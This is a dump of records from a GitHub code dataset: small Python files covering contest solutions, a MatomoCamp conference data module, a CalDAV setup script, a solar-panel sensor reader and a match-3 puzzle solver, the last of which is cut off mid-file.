[]\r\n\t\r\n\tlawnSize = line2intlist(raw_input())\r\n\trowCount = lawnSize[0]\r\n\t\r\n\tfor r in xrange(0, rowCount):\r\n\t\tlawn.append(line2intlist(raw_input()))\r\n\t\t\r\n\t# print lawn\r\n\t\r\n\t# Expect empty line\r\n\t#raw_input()\r\n\tpossible = processLawn(lawnSize, lawn)\r\n\tprint(\"Case #%i: %s\" % (caseNum + 1, possible))\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_117/1141.py","file_name":"1141.py","file_ext":"py","file_size_in_byte":2492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1621590143","text":"import json\nfrom dataclasses import dataclass\nfrom datetime import datetime, timedelta, timezone\nfrom random import randint, random\nfrom typing import List, Dict, Tuple, Optional\nfrom urllib.parse import quote_plus\n\nimport pytz\nfrom dateutil.parser import parse\n\nfrom urls import chat_rooms, workshop_urls, recording_ids, archive_names, recording_ids_drafts\nfrom utils import translated_dict_to_string, time_plusminus15min\n\nSTREAM_FALLBACKS = False\nprimary_stream_host = \"https://stream-mtmc.cloud-ed.fr/\"\nalternative_stream_hosts = {\n \"Alternative Stream 1\": \"https://livestream-mirror1.matomocamp.org/\",\n \"Alternative Stream 2\": \"https://stream-mtmc-2021.cloud-ed.fr/\",\n}\nalternative_stream_hosts_names = list(alternative_stream_hosts.keys())\nalternative_stream_hosts_urls = list(alternative_stream_hosts.values())\n\nconference_timezone = pytz.timezone(\"Europe/Vienna\")\n\ntrack_colors = {\n 2021: {\n \"Privacy\": \"#F38334\",\n \"System administration\": \"#95C748\",\n \"Contributing\": \"#8E0F0F\",\n \"Digital Analytics\": \"#3152A0\",\n \"Using Matomo\": \"#35BFC0\",\n \"Business\": \"#673AB7\",\n \"Use Cases\": \"#1B5E20\",\n \"MatomoCamp\": \"#404040\"\n },\n 2022: {\n \"Privacy\": \"#F38334\",\n \"System administration\": \"#95C748\",\n \"Integration\": \"#8E0F0F\",\n \"Digital Analytics\": \"#3152A0\",\n \"Using Matomo\": \"#35BFC0\",\n \"Business\": \"#673AB7\",\n \"Use Cases\": \"#1B5E20\",\n \"MatomoCamp\": \"#404040\",\n \"Plugin Development\": \"#F00DE7\",\n \"Contributing\": \"#BF360C\",\n \"Other Free Analytics\": \"#673AB7\",\n },\n}\n\ncurrent_year = 2022\npast_years = [2021]\n\n\n@dataclass\nclass Talk:\n id: str\n year: int\n title: str\n session_type: str\n track: str\n abstract: str\n description: str\n duration: int\n language: str\n speaker_names: List[str]\n room: str\n start: datetime\n end: datetime\n\n @property\n def full_language(self) -> str:\n if self.language == \"de\":\n return \"German\"\n elif self.language == \"fr\":\n return \"French\"\n elif self.language == \"it\":\n return \"Italian\"\n else:\n return \"English\"\n\n @property\n def schedule_url(self) -> str:\n return f\"https://schedule.matomocamp.org/matomocamp-{self.year}/talk/{self.id}/\"\n\n @property\n def feedback_url(self) -> str:\n return self.schedule_url + \"feedback/\"\n\n @property\n def chat_room(self) -> str:\n try:\n return chat_rooms[self.id]\n except KeyError:\n return \"CHATROOM-MISSING\"\n\n @property\n def chat_room_id(self) -> str:\n return f\"#{self.chat_room}:matomocamp.org\"\n\n @property\n def archive_name(self) -> Optional[str]:\n try:\n return archive_names[self.id]\n except KeyError:\n return None\n\n @property\n def archive_name_encoded(self) -> Optional[str]:\n try:\n return quote_plus(archive_names[self.id]).replace(\"+\", \"%20\")\n except KeyError:\n return None\n\n @property\n def chat_room_url(self) -> str:\n try:\n return f\"https://archive.matomocamp.org/{self.year}/{self.archive_name_encoded}/chat/\"\n except KeyError:\n return \"https://chat.matomocamp.org/#/room/\" + self.chat_room_id\n\n @property\n def archive_url(self) -> Optional[str]:\n try:\n return f\"https://archive.matomocamp.org/{self.year}/{self.archive_name_encoded}/\"\n except KeyError:\n return None\n\n @property\n def subtitle_edit_url(self) -> Optional[str]:\n try:\n return f\"https://github.com/MatomoCamp/recording-subtitles/tree/main/{self.year}/{self.archive_name_encoded}/\"\n except KeyError:\n return None\n\n @property\n def random_alternative_stream_id(self) -> int:\n return randint(1, len(alternative_stream_hosts))\n\n def livestream_host(self, alternative_stream_id=None) -> Tuple[str, str]:\n livestream_host = primary_stream_host\n livestream_name = \"Main Livestream\"\n if alternative_stream_id is not None:\n if alternative_stream_id == 0:\n return livestream_host, livestream_name\n return alternative_stream_hosts_urls[alternative_stream_id - 1], \\\n alternative_stream_hosts_names[alternative_stream_id - 1]\n\n if STREAM_FALLBACKS:\n use_original_stream = random() > 0.33\n if use_original_stream:\n return livestream_host, livestream_name\n num = randint(0, len(alternative_stream_hosts) - 1)\n return alternative_stream_hosts_urls[num], alternative_stream_hosts_names[num]\n return livestream_host, livestream_name\n\n def livestream_url(self, alternative_stream_id=None) -> Tuple[str, str]:\n livestream_host, livestream_name = self.livestream_host(alternative_stream_id)\n if self.room == \"Livestream Room 1\":\n return livestream_host + \"hls/stream1.m3u8\", livestream_name\n if self.room == \"Livestream Room 2\":\n return livestream_host + \"hls/stream2.m3u8\", livestream_name\n if self.room == \"Livestream Room 3\":\n return livestream_host + \"hls/stream3.m3u8\", livestream_name\n return \"\", \"No Stream\"\n\n @property\n def live_url(self) -> str:\n return \"https://live.matomocamp.org/\" + self.id\n\n @property\n def recording_id(self) -> Optional[str]:\n if self.id in recording_ids:\n return recording_ids[self.id]\n return None\n\n @property\n def recording_id_drafts(self) -> Optional[str]:\n if self.id in recording_ids_drafts:\n return recording_ids_drafts[self.id]\n return None\n\n @property\n def recording_url(self) -> Optional[str]:\n if self.recording_id:\n return \"https://video.matomocamp.org/w/\" + self.recording_id\n return None\n\n @property\n def recording_embed_url(self) -> Optional[str]:\n if self.recording_id:\n return \"https://video.matomocamp.org/videos/embed/\" + self.recording_id\n return None\n\n @property\n def track_color(self) -> str:\n return track_colors[self.year][self.track]\n\n @property\n def is_workshop(self) -> bool:\n return self.room == \"Workshop Room\"\n\n @property\n def workshop_url(self) -> str:\n if not self.is_workshop:\n return \"#\"\n return workshop_urls[self.id]\n\n @property\n def has_already_started(self):\n return datetime.now(timezone.utc) > talk.start\n\n @property\n def formatted_datetimerange(self) -> str:\n weekday_data = {\n 4: {\n \"en\": \"Thu\",\n \"de\": \"Do\",\n \"fr\": \"Jeu\",\n \"it\": \"Gio\",\n },\n 5: {\n \"en\": \"Fri\",\n \"de\": \"Fr\",\n \"fr\": \"Ven\",\n \"it\": \"Ven\",\n }\n }\n print(self.start, self.end)\n start_in_right_timezone = self.start.astimezone(conference_timezone)\n weekday = weekday_data[self.start.isoweekday()][self.language]\n return weekday \\\n + \" \" \\\n + start_in_right_timezone.strftime(\"%H:%M\") \\\n + \"–\" \\\n + self.end.strftime(\"%H:%M\")\n\n @property\n def topic(self):\n return f\"{self.title} -- Watch live here: {self.live_url}\"\n\n\ntalks = []\nfor year in [2021, 2022]:\n with open(f\"matomocamp-{year}_sessions.json\") as f:\n data: List[Dict] = json.load(f)\n for t in data:\n if t[\"Proposal state\"] in {\"withdrawn\"}:\n continue\n talk = Talk(\n id=t[\"ID\"],\n year=year,\n title=t[\"Title\"],\n session_type=translated_dict_to_string(t[\"Session type\"]),\n track=t[\"Track\"][\"en\"],\n abstract=t[\"Abstract\"],\n description=t[\"Description\"],\n duration=t[\"Duration\"],\n language=t[\"Language\"],\n speaker_names=t[\"Speaker names\"],\n room=t[\"Room\"][\"en\"],\n start=parse(t[\"Start\"]),\n end=parse(t[\"End\"])\n )\n talks.append(talk)\n del data\n\ntalks.sort(key=lambda t: (t.start, t.title))\n\ntalks_of_this_year = [t for t in talks if t.year == current_year]\n\ntalks_by_id = {}\n\nfor t in talks:\n talks_by_id[t.id] = t\n\n\ndef talks_at_the_same_time(talk: Talk) -> List[Talk]:\n others = []\n for t in talks:\n if t == talk:\n continue\n if t.start in time_plusminus15min(talk.start):\n others.append(t)\n return others\n\n\ndef coming_up_next(talk: Talk) -> List[Talk]:\n others = []\n if talk.start.time().hour == 11 - 1:\n delta = timedelta(hours=2)\n else:\n delta = timedelta(hours=1)\n for t in talks:\n if t.start in time_plusminus15min(talk.start + delta):\n others.append(t)\n return others\n\n\nif __name__ == '__main__':\n for talk in talks:\n if talk.id not in chat_rooms:\n print(f\"missing chatroom: {talk.id} ({talk.title})\")\n\n with open(\"/home/lukas/tmp/stats.json\") as f:\n data = json.load(f)\n data_dict = {}\n for e in data:\n data_dict[e[\"label\"].lstrip(\"/\")] = e\n for talk in talks:\n if talk.year != 2022 or talk.id == \"389UYH\":\n continue\n num_pageviews = data_dict[talk.id][\"nb_visits\"]\n print(f\"{talk.title};{', '.join(talk.speaker_names)};{num_pageviews}\")\n","repo_name":"MatomoCamp/live-platform","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":9489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20259674716","text":"# UVa 836 - Largest Submatrix\n# https://onlinejudge.org/external/8/836.pdf\n# Reference: Competitive Programming 3, Halim & Halim\n\nfrom sys import maxsize\n\ndef load_matrix():\n\tmatrix = []\n\twhile True:\n\t\ttry:\n\t\t\tline = input()\n\t\texcept EOFError:\n\t\t\tbreak\n\t\tif line == \"\":\n\t\t\tbreak\n\t\tmatrix.append([1 if x == '1' else (-maxsize - 1) for x in list(line)])\n\treturn matrix\n\ndef range_sum_matrix(matrix):\n\tn = len(matrix)\n\trsum = [[0 for _ in range(n)] for _ in range(n)]\n\tfor i in range(n):\n\t\tfor j in range(n):\n\t\t\trsum[i][j] = matrix[i][j]\n\t\t\tif i > 0:\n\t\t\t\trsum[i][j] += rsum[i - 1][j]\n\t\t\tif j > 0:\n\t\t\t\trsum[i][j] += rsum[i][j - 1]\n\t\t\tif i > 0 and j > 0:\n\t\t\t\trsum[i][j] -= rsum[i - 1][j - 1]\n\treturn rsum\n\n\ndef max_submatrix(matrix, rsum):\n\tn = len(matrix)\n\tmax_sum = 0\n\tfor i in range(n):\n\t\tfor j in range(n):\n\t\t\tfor k in range(i, n):\n\t\t\t\tfor l in range(j, n):\n\t\t\t\t\tsub_rect = rsum[k][l]\n\t\t\t\t\tif i > 0:\n\t\t\t\t\t\tsub_rect -= rsum[i - 1][l]\n\t\t\t\t\tif j > 0:\n\t\t\t\t\t\tsub_rect -= rsum[k][j - 1]\n\t\t\t\t\tif i > 0 and j > 0:\n\t\t\t\t\t\tsub_rect += rsum[i - 1][j - 1]\n\t\t\t\t\tmax_sum = max(max_sum, sub_rect)\n\treturn max_sum\n\nif __name__ == \"__main__\":\n\tt = int(input())\n\tinput()\n\tfor tc in range(t, 0, -1):\n\t\tmatrix = load_matrix()\n\t\trsum = range_sum_matrix(matrix)\n\t\tprint(max_submatrix(matrix, rsum))\n\t\tif tc > 1:\n\t\t\tprint()\n\n\t\t\n","repo_name":"eloyhz/competitive-programming","sub_path":"cpbook/3_problem_solving_paradigms/836_largest_submatrix.py","file_name":"836_largest_submatrix.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"33748219791","text":"\nimport os \nimport itertools\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\nindir = 'level1'\noutput_file = os.path.join(dir_path, 'out')\n\ninputs = [os.path.join(dir_path, indir, indir + f'_{x}.in') for x in range(1, 6)]\n\noutputs = [os.path.join(dir_path, output_file, indir + f'_{x}.out') for x in range(1, 6)]\n\n\n\nstack = []\n\ndef main():\n print(outputs)\n\n for index, input_file in enumerate(inputs):\n out = []\n\n with open(input_file, 'r') as fd:\n lines = [line.strip() for line in fd.readlines()]\n n = int(lines[0])\n lines = lines[1:]\n # tokens = list(itertools.chain.from_iterable(lines))\n # tokens = ''.join()\n tokens = []\n for line in lines:\n tokens.extend(line.split(' '))\n \n tokens = tokens[1:-1]\n\n i = 0\n while i < len(tokens):\n token = tokens[i]\n\n if token == 'print':\n out.append(tokens[i+1])\n i += 2\n\n out = ''.join(out)\n\n\n with open(outputs[index], 'w') as fdout:\n fdout.write(out)\n\nif __name__ == '__main__':\n # print(inputs)\n main()\n","repo_name":"StefanSebastian/CCC2021","sub_path":"l01/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70584483395","text":"\ncat_info_list = []\ncat_info_map = {}\n\ndef get_word_cat(unk):\n unk_value = ord(unk)\n print(f\"unk: {unk} value: {unk_value}\")\n # now we do search in the char.def file to determine which\n # category of unknown this char is from (which corresponds\n # to the cat_info_list and cat_info_map ds's)\n if unk_value in cat_info_map:\n return cat_info_map[unk_value]\n for entry in cat_info_list:\n if unk_value >= entry[0] and unk_value <= entry[1]:\n return entry[2]\n return 'DEFAULT' # default is a mandatory category\n\ndef load_dictionary():\n with open('char.def', 'r') as f:\n cat_info_list = f.read().split('\\n')\n cat_info_list = [l.split(' ') for l in cat_info_list][:-1]\n # convert the unicode representation to just an integer\n for line in cat_info_list:\n line[0] = int(line[0], 16)\n if len(line) > 2:\n line[1] = int(line[1], 16)\n else:\n # things strictly one value are added to the map\n cat_info_map[line[0]] = line[1]\n # delete all sublists that are strictly one value\n cat_info_list = [l for l in cat_info_list if len(l) == 3]\n # sort the list\n cat_info_list.sort(key=lambda x: x[0])\n return cat_info_list, cat_info_map\n\ncat_info_list, cat_info_map = load_dictionary()\nprint(get_word_cat(\"^\"))\n","repo_name":"jerrybonnell/Rules2UD","sub_path":"rule_sub.py","file_name":"rule_sub.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"34076612236","text":"\n\n\nimport csv\n'''\nwith open('DataTrain.csv', 'wb') as csvfile:\n spamwriter = csv.writer(csvfile, delimiter=',',\n quoting=csv.QUOTE_MINIMAL)\n \n spamwriter.writerow([\"ID\", \"GAREN SPCAE\",\"DOCK\",\"CAPITAL\",\"ROYAL MARKET\",\"GUARDING TOWER\",\"RIVER\",\"RENOVATION\",\"BEDROOM\",\"DINING\",\"BATHROOM\",\"pay\",\"SORCERER\",\"BLESSINGS\",\"TREE\",\"KNIGHT KING\"]) \n\n\n'''\n\nDIC = {\"ID\": \"0000\", \"GARDEN SPACE\" : \"1\",\"DOCK\" : \"0.0\",\"Capital\" : \"0.0\",\"Royal Market\":\"0.0\",\"Guarding Tower\" : \"0.0\",\"River\" : \"0.0\",\"Renovation\":\"0.0\",\"bedroom\":\"0\",\"dining rooms\":\"0\",\"bathroom\":\"0\",\"pay\":\"1\",\"sorcerer\":\"1\",\"blessings\":\"0\",\"tree\":\"0\",\"Knights house\" : \"0.0\"}\n\n\n\n\n\n\ncsvfile = open('DataTrain.csv', 'wb') \nspamwriter = csv.writer(csvfile, delimiter=',',\n quoting=csv.QUOTE_MINIMAL)\nf = open(\"Bob.txt\",\"r\")\ndata = f.readlines()\n\ndef row(Dic):\n lst = []\n for key in DIC:\n if key in Dic:\n lst.append(Dic[key])\n else :\n lst.append(DIC[key])\n return lst\n \n \ndef lol1(strng):\n if \"House ID\" in strng:\n for word in strng:\n if word == \"6e*\":\n return {\"ID\" : word}\n elif \"There is no space for garden\" in strng:\n return {\"GARDEN SPACE\" : \"0\"}\n elif \"Dock\" in strng:\n for word in strng:\n if word == \"*.*\":\n return {\"DOCK\" : word}\n elif \"Capital\" in strng:\n for word in strng:\n if word == \"*.*\":\n return {\"Capital\" : word}\n elif \"Royal Market\" in strng:\n for word in strng:\n if word == \"*.*\":\n return {\"Royal Market\" : word}\n elif \"Guarding Tower\" in strng:\n for word in strng:\n if word == \"*.*\":\n return {\"Guarding Tower\" : word} \n elif \"River\" in strng:\n for word in strng:\n if word == \"*.*\":\n return {\"River\" : word}\n elif \"did not undergo renovation\" in strng:\n return {\"Renovation\" : \"0\"} \n elif \"underwent renovation upon Mighty King's command\" in strng:\n return {\"Renovation\" : \"1\"}\n elif \"bedroom\" in strng:\n for word in strng:\n if isDigit(word):\n return {\"bedroom\":word}\n elif \"dining rooms\" in strng:\n for word in strng:\n if isdigit(word):\n return {\"dining rooms\":word}\n elif \"bathrooms\" in strng:\n for word in strng:\n if isdigit(word):\n return {\"bathrooms\":word}\n elif \"King couldn't pay his visit to the house\" in strng:\n return {\"pay\":\"0\"}\n elif \"Sorcerer couldn't curse this house\" in strng:\n return {\"sorcerer\" :\"0\"}\n elif \"blessings\" in strng:\n for word in strng:\n if isdigit(word):\n return {\"blessings\":word}\n elif \"Holy tree stands tall beside the house\" in strng:\n return {\"tree\":\"1\"}\n elif \"Distance from Knight's house\" in strng:\n for word in strng:\n if word == \"*.*\":\n return {\"Knights house\" : word} \n\ndic = {}\nfor line in data:\n if line == \"\" and dic != {}:\n spamwriter.writerow(row(dic)) \n dic = {}\n break\n #print line\n dic1 = lol1(line)\n #dic.update(dic1)\n\n\n\n \n\n \n \n\n \n \n \n\n\n","repo_name":"dolphin1999/HousingPricesPrediction","sub_path":"code1.py","file_name":"code1.py","file_ext":"py","file_size_in_byte":3439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35415008293","text":"from decision_tree_imperfect import EDT\nimport numpy as np\n\n\"\"\"\nExample with 2 imperfectly labeled observations.\n\"\"\"\n\n# Training X values [x1, x2]\nX_train = np.array([[0.5, 0.5],\n [-0.5, -0.5]])\n\n# Training y values, basic belief assigments (with or without empty set )\n# [c1, c2, c1 U c2] or [0, c1, c2, c1 U c2] \ny_train = np.array([[0.9, 0, 0.1],\n [0, 0.9, 0.1]])\n\n# Test dataset with TRUE class (0 or 1)\nX_test = np.array([[0.1, 0.1]])\ny_test = np.array([0])\n\nclassifier = EDT()\nclassifier.fit(X_train, y_train)\n\nprecisions = classifier.score(X_test, y_test)\n\nprint(\"Accuracy : \", precisions)\n","repo_name":"ArthurHoa/conflict-edt","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28097514269","text":"class Solution:\n # @param A : list of integers\n # @param B : integer\n # @return an integer\n\n def rec_func(self, arr, idx, ans):\n print(f'arr: {arr} idx {idx}')\n if idx == len(arr):\n ans.append(arr)\n return\n\n for i in range(idx, len(arr)):\n if i != idx and arr[idx] == arr[i]:\n continue\n arr2 = arr.copy()\n arr2[i], arr2[idx] = arr2[idx], arr2[i]\n\n self.rec_func(arr2, idx+1, ans)\n # arr[i], arr[idx] = arr[idx], arr[i]\n\n def solve(self, A):\n res = []\n self.rec_func(A, 0, res)\n\n print(len(res))\n for i in res:\n print(i)\n return res\n\n\nif __name__ == '__main__':\n a = [2850, 286, 155]\n obj = Solution()\n ans = obj.solve(a)\n print(f'ans is {ans}')\n","repo_name":"navkant/ds_algo_practice","sub_path":"scaler/recursion/unique_permutations_2.py","file_name":"unique_permutations_2.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23541106251","text":"def opp(c):\n if c=='+':\n return '-'\n elif c=='-':\n return '+'\n else:\n assert False\n\nfi=open('ex1-large.in')\nfo=open('ex1-large.out','w')\nnCases=int(fi.readline())\nfor case in range(1,nCases+1):\n pancakes,flipSize=fi.readline().split()\n pancakes=list(pancakes)\n flipSize=int(flipSize)\n flips=0\n for i in range(len(pancakes)-flipSize+1):\n if pancakes[i]=='-':\n flips+=1\n for j in range(i,i+flipSize):\n pancakes[j]=opp(pancakes[j])\n if '-' not in pancakes:\n fo.write('Case #%s: %s\\n' % (case,flips))\n else:\n fo.write('Case #%s: IMPOSSIBLE\\n' % case)\nfi.close()\nfo.close()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/1657.py","file_name":"1657.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34493785511","text":"import argparse\nimport pathlib\nimport platform\nimport sys\nfrom os import chdir\nimport importlib\nfrom typing import List\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Host for ViewFS Python router scripts')\n parser.add_argument('--fs-root', type=str, required=True, help='Path to the root of the virtual filesystem')\n parser.add_argument('--command-pipe', type=str, required=True, help='Path to a pipe from which script commands can'\n 'be read and results can be written')\n parser.add_argument('--router-file', type=str, required=True, help='Router Python module to be loaded')\n args = parser.parse_args()\n\n fs_root = pathlib.Path(args.fs_root).absolute().resolve()\n module_path = pathlib.Path(args.router_file).absolute().resolve()\n chdir(module_path.parent)\n sys.path.append(str(pathlib.Path(__file__).parent))\n router = importlib.import_module(module_path.name.split('.', maxsplit=1)[0])\n\n if platform.system() == 'Windows':\n with open(args.command_pipe, 'rb+') as pipe_ref:\n for command_bytes in pipe_ref:\n command_parts = [this_chunk.decode('utf8') for this_chunk in command_bytes[:-1].split(b'\\x1f')]\n if len(command_parts) == 2 and command_parts[0] == 'list_dir':\n ref_paths: List[pathlib.Path]\n subdirs: List[str]\n ref_paths, subdirs = router.enum_dir(fs_root, pathlib.Path(command_parts[1]))\n result_bytes = b'\\x1f'.join(str(this_path.absolute().resolve()).encode('utf8') for this_path in ref_paths) + b'\\n' \\\n + b'\\x1f'.join(subdir.encode('utf8') for subdir in subdirs) + b'\\n'\n pipe_ref.write(result_bytes)\n pipe_ref.flush()\n","repo_name":"picode98/ViewFS","sub_path":"ViewFS_python_host.py","file_name":"ViewFS_python_host.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9148191318","text":"# -*- encoding: utf-8 -*-\nfrom setuptools import setup, find_packages\n\nversion = '0.0.1'\n\nif __name__ == '__main__':\n setup(\n name='pycaldav',\n version=version,\n description=\"CalDAV (RFC4791) client library\",\n classifiers=[\"Development Status :: 4 - Beta\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: GNU General \"\n \"Public License (GPL)\",\n \"License :: OSI Approved :: Apache Software License\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python\",\n \"Topic :: Office/Business :: Scheduling\",\n \"Topic :: Software Development :: Libraries \"\n \":: Python Modules\"],\n keywords='',\n author='wasw100',\n author_email='wasw100@gmail.com',\n url='https://github.com/wasw100/pycaldav',\n license='GPL',\n packages=find_packages(),\n include_package_data=True,\n zip_safe=False,\n install_requires=['vobject', 'lxml', 'nose', 'coverage', 'sphinx', 'requests'],\n )\n","repo_name":"wasw100/pycaldav","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7148571620","text":"\nimport time\nimport Adafruit_GPIO.SPI as SPI\nimport Adafruit_MCP3008\nimport datetime\nimport pytz\nimport math\nimport io\nimport numpy as np\nfrom ina219 import INA219, DeviceRangeError\nfrom pysolar.solar import radiation\nfrom pysolar.solar import get_altitude\nfrom pysolar.solar import get_azimuth\nimport pysolar\n\nSHUNT_OHMS = 0.1\nMAX_EXPECTED_AMPS =2.0\n\ntry:\n ina = INA219(SHUNT_OHMS, MAX_EXPECTED_AMPS, address = 0x40)\n ina.configure(ina.RANGE_16V)\nexcept:\n ina = INA219(SHUNT_OHMS, MAX_EXPECTED_AMPS, address = 0x42)\n ina.configure(ina.RANGE_16V)\n \n\ni=1\nSPI_PORT = 0\nSPI_DEVICE = 0\nmcp = Adafruit_MCP3008.MCP3008(spi=SPI.SpiDev(SPI_PORT, SPI_DEVICE))\n\nlatitude_deg = 52.7721\nlongitude_deg = 1.2062\n\ndef Azimuth():\n now = datetime.datetime.now()\n date = datetime.datetime(now.year,now.month,now.day,now.hour,now.minute,now.second,tzinfo=pytz.utc)\n \n Azimuth = float(get_azimuth(latitude_deg,longitude_deg, date))\n Azimuth = round(Azimuth,2)\n \n return Azimuth\n\ndef Alitidue():\n altitude_deg = int(get_altitude(latitude_deg, longitude_deg, date))\n \n return altitude_deg\n\n\ndef Radiation(radiation):\n now = datetime.datetime.now()\n date = datetime.datetime(now.year,now.month,now.day,now.hour,now.minute,now.second,tzinfo=pytz.utc)\n\n Azimuth = get_azimuth(latitude_deg,longitude_deg, date)\n\n\n altitude_deg = int(get_altitude(latitude_deg, longitude_deg, date))\n\n\n radiation = float(radiation.get_radiation_direct(date, altitude_deg))\n \n return radiation\n\ndef Voltage():\n Voltage = ina.voltage()\n Voltage = round(Voltage,2)\n return Voltage\n\ndef Current():\n Current = (ina.current()/1000)\n Current = round(Current,2)\n return Current\n\ndef Power():\n Power = ina.power()\n Power = round(Power,2)\n return Power\n\ndef A_Radiation():\n V = Actual_Voltage()\n Rs = 0.05\n I = Actual_Current()\n q = 1.6e-19\n K = 1.38e-23\n A = 1.2\n T = 293\n N = 20\n vt = q/(A*K*T*N)\n Is = I/(math.exp(V+((I+Rs)/vt)) - 1)\n Isc = 0.3\n\n G = (((I-Is)*((math.exp((V+(I*Rs))/vt))-1))/Isc)\n G = round(G,2)\n print(G)\n return G\n\ndef Temperature():\n f = open(\"/sys/class/thermal/thermal_zone0/temp\",\"r\")\n t = float(f.readline())\n cputemp = t/1000\n \n return cputemp\n\ndef Battery_Charge():\n x = []\n for i in range (0,10):\n value =float(mcp.read_adc_difference(0))\n BatVolt= ((value/1023)*3.3)\n BatVolt =((BatVolt/0.232))\n x.append(BatVolt)\n \n BatVolt = (sum(x)/len(x))\n print(BatVolt)\n\n if BatVolt >13.5: \n BatCha= 100\n\n elif 13-MEANS-> \",end=\"\")\r\n else:\r\n print(\" \",end=\"\")\r\n for k in range(0,self.width):\r\n print(BCopy[i][k],end=\"\")\r\n print(ends)\r\n print()\r\n def isMassAttack(self,Board,toClearX,toClearY,Final):\r\n if Final==1:\r\n for i in range(0,len(self.FinMassAttack)-1):\r\n self.FinMassAttack[i]+=self.MassAttack[i]\r\n for i in range(0,len(self.MassAttack)): self.MassAttack[i]=0\r\n for i in range(0,len(toClearX)-1):\r\n for j in range(i+1,len(toClearX)):\r\n if toClearX[i]==-1:\r\n break\r\n if toClearX[i]==toClearX[j] and toClearY[i]==toClearY[j]:\r\n Element=Board[toClearX[j]][toClearY[i]]\r\n for q in range(0,len(self.Classes)-1):\r\n if Element==self.Classes[q]:\r\n self.MassAttack[q]=1\r\n return\r\n def isMatch(self,Board,toClearX,toClearY,Final=0):\r\n for i in range(0,128):\r\n toClearX[i]=-1\r\n toClearY[i]=-1\r\n isMatch=0\r\n for i in range(0,self.height):\r\n for j in range(0,self.width):\r\n if Board[i][j]!='. ':\r\n if i<=self.height-3:\r\n if Board[i][j]==Board[i+1][j]:\r\n if Board[i][j]==Board[i+2][j]:\r\n for F in range(0,128):\r\n if toClearX[F]==-1:\r\n toClearX[F]=i\r\n toClearX[F+1]=i+1\r\n toClearX[F+2]=i+2\r\n toClearX[F+3]=-1\r\n toClearY[F]=j\r\n toClearY[F+1]=j\r\n toClearY[F+2]=j\r\n toClearY[F+3]=-1\r\n break\r\n isMatch=1\r\n if Board[i][j]!='. ':\r\n if j<=self.width-3:\r\n if Board[i][j]==Board[i][j+1]:\r\n if Board[i][j]==Board[i][j+2]:\r\n for F in range(0,128):\r\n if toClearX[F]==-1:\r\n toClearX[F]=i\r\n toClearX[F+1]=i\r\n toClearX[F+2]=i\r\n toClearX[F+3]=-1\r\n toClearY[F]=j\r\n toClearY[F+1]=j+1\r\n toClearY[F+2]=j+2\r\n toClearY[F+3]=-1\r\n break\r\n isMatch=1\r\n self.isMassAttack(Board,toClearX,toClearY,Final)\r\n return isMatch\r\n def clusterHeuristic(self,Board,toClearX,toClearY,path=\"\"):\r\n self.isMatch(Board,toClearX,toClearY)\r\n ElemCoords=[[] for i in range(0,len(self.Classes))]\r\n self.Avgs=[]\r\n for i in range(0,self.height):\r\n for j in range(0,self.width):\r\n for q in range(0,len(self.Classes)):\r\n if Board[i][j]==self.Classes[q]:\r\n ElemCoords[q].append([i,j])\r\n for i in range(0,len(self.Classes)):\r\n regx=0\r\n regy=0\r\n for j in range(0,len(ElemCoords[i])):\r\n regx+=ElemCoords[i][j][0]\r\n regy+=ElemCoords[i][j][1]\r\n if len(ElemCoords[i])>0:\r\n regx/=len(ElemCoords[i])\r\n regy/=len(ElemCoords[i])\r\n self.Avgs.append([regx,regy])\r\n squared_error = []\r\n for i in range(0,self.height):\r\n for j in range(0,self.width):\r\n for q in range(0,len(self.Classes)):\r\n if Board[i][j]==self.Classes[q]:\r\n squared_error.append(math.sqrt((self.Avgs[q][0]-i)**2+(self.Avgs[q][1]-j)**2))\r\n mse = sum(squared_error)/len(squared_error)\r\n mse*=-1\r\n if self.mseRunTillPerfect==0:\r\n mse+=len(path)/150\r\n if mse>-self.mseCutoff:\r\n return 100\r\n return mse\r\n def heuristic(self,Board,toClearX,toClearY,path=\"\"):\r\n ret=0\r\n self.isMatch(Board,toClearX,toClearY)\r\n BCopy=[[]]\r\n for i in range(0,self.height):\r\n BCopy.append([])\r\n for j in range(0,self.width):\r\n BCopy[i].append(Board[i][j])\r\n for F in range(0,len(toClearX)):\r\n if toClearX[F]!=-1:\r\n if BCopy[toClearX[F]][toClearY[F]]!='. ':\r\n Element=BCopy[toClearX[F]][toClearY[F]]\r\n Health_Good=int(sum(self.ATK)/len(self.ATK))\r\n for q in range(0,len(self.Classes)-1):\r\n if Element==self.Classes[q]:\r\n ret+=self.ATK[q]\r\n if Element==self.Classes[-1]:\r\n ret+=Health_Good\r\n if self.H_P20:\r\n 